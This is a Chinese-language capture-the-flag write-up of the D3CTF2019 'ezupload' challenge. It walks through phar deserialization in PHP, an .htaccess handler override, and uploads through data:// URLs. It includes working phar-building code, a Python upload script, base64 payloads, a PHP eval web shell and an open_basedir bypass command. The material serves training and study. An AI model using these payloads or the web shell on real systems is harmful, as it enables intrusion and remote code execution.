D3CTF2019-ezupload
访问得到源代码
1 |
|
利用post传入的 url
和 filename
创建dir对象
upload:
- 目录检查:是否被改
- url检查 :必须包含scheme,且scheme不能包含
file
或php
,但没有过滤data
和phar
- 文件名后缀检查:不能包含ph
file_get_contents
获取url中的内容并过滤,<
会被过滤,看来木马无法直接从内容上传file_put_contents
将内容存入userdir/filename
count:
展示上传目录文件数量,调用的话会发现文件会被定时删除
phar反序列化
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件为php归档文件,相当于压缩包,可以存放多个文件,在被某些触发函数解析时 其中的MetaData会自动被反序列化(漏洞)
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
触发函数(部分) | |||
---|---|---|---|
file_get_content | filectime | file_exists | file_get_contents |
fileatime | file_put_contents | file | filegroup |
fopen | fileinode | unlink | stat |
fileowner | fileperms | is_dir | is_executable |
is_file | copy | stat | readfile |
$string = "your file in : ".$this->userdir;
有可能触发__toString
,查看目录信息1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
/**按照攻击链条构造对象***/
$a = new dir();
$a->userdir='../';
$o = new dir();
$o->userdir=$a;
/***其余部分可作为模板***/
$phar->setMetadata($o); //将要反序列化的对象存入meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();执行后生成
phar.phar
文件,改为phar.gif
上传脚本:
1
2
3
4
5
6import requests
def getinfo(purl, filename, action):
post_data = {"url": purl, "filename": filename, "action": action}
response = requests.post("http://node2.anna.nssctf.cn:28055/", data=post_data)
print(response.text)可以用VPS上传至服务器,然后传
1
getinfo('http://xx.xx.xx.xx/phar.gif', 'phar.gif', 'upload')
或直接获取base64编码然后用
data
伪协议上传1
2
3
4
5
6> base64 phar.phar
< R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg==1
2
3
4
5
6url='''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg=='''
getinfo(url, 'phar.gif', 'upload')可以看到上传到目录
upload/e0ee64a13ff7a0b04333c1d51fbbeadf
上传
.htaccess
1
2
3getinfo('data://text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0', '.htaccess', 'upload')
# 内容为:AddHandler php7-script .txt
# 因为 < 被过滤,这同样可以达到效果,将txt解释为php现在有了phar文件,可以传phar://,在
file_get_contents
中触发反序列化1
getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar.gif', '1', 'upload')
得到
your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. 887a185b1a408019your file in : ../
所以上传文件夹绝对路径为
/var/html/www/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf
现在还是通过反序列化使得此文件夹中某个文件包含木马
由
1
2
3
4
5public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}可见
string
和filename
均可控,让string
中包含木马即可
法一:
上传木马名称文件(文件名没有过滤那么严)
1
getinfo('data://image/gif;base64,R0lG', "<?php @eval($_POST['cmd']);?>.txt", 'upload')
这时,当前文件夹下就包含有
<?php @eval($_POST['cmd']);?>.txt
,再类似前步反序列化展示文件夹下内容,然后就写到txt文件中phar构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
$a = new dir();
$a->userdir="/upload/e0ee64a13ff7a0b04333c1d51fbbeadf";
$o = new dir();
$o->userdir=$a;
$o->filename="/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell"; //最后会生成webshell.txt
$phar->setMetadata($o); //将要反序列化的对象存入meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();与前面操作相同
1
2
3
4
5
6
7
8
9
10url = '''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86Mzoi
ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6Ii91
cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVhZGYiO3M6MzoidXJsIjtOO3M6ODoi
ZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0
bWwvODg3YTE4NWIxYTQwODAxOS91cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVh
ZGYvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAATurUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0Nw1j
IHqtIaW4cyxLqtXaivqqZtUhOAJTZ2M8GgeF7DoDAAAAR0JNQg=='''
getinfo(purl, "phar2.gif", 'upload')
getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar2.gif', '2', 'upload')得到
your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. .htaccess 1 2 <?php @eval($_POST['cmd']);?>.txt ...
,说明上传成功再访问
887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt
,连接蚁剑获得flag直接post命令的话要进行还要绕过目录穿越限制
1
cmd=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));
法二:
直接在userdir处传木马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class dir{
public $userdir;
public $url;
public $filename;
}
$a=new dir();
$a->filename='/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell';
$a->userdir='<?php eval($_POST["cmd"]);?>';
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();但
<
会被过滤phar协议能够解压zip,gzip等压缩包,因此gzip压缩一下,
gzip phar.phar
,然后同样两步上传,触发序列化访问
887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt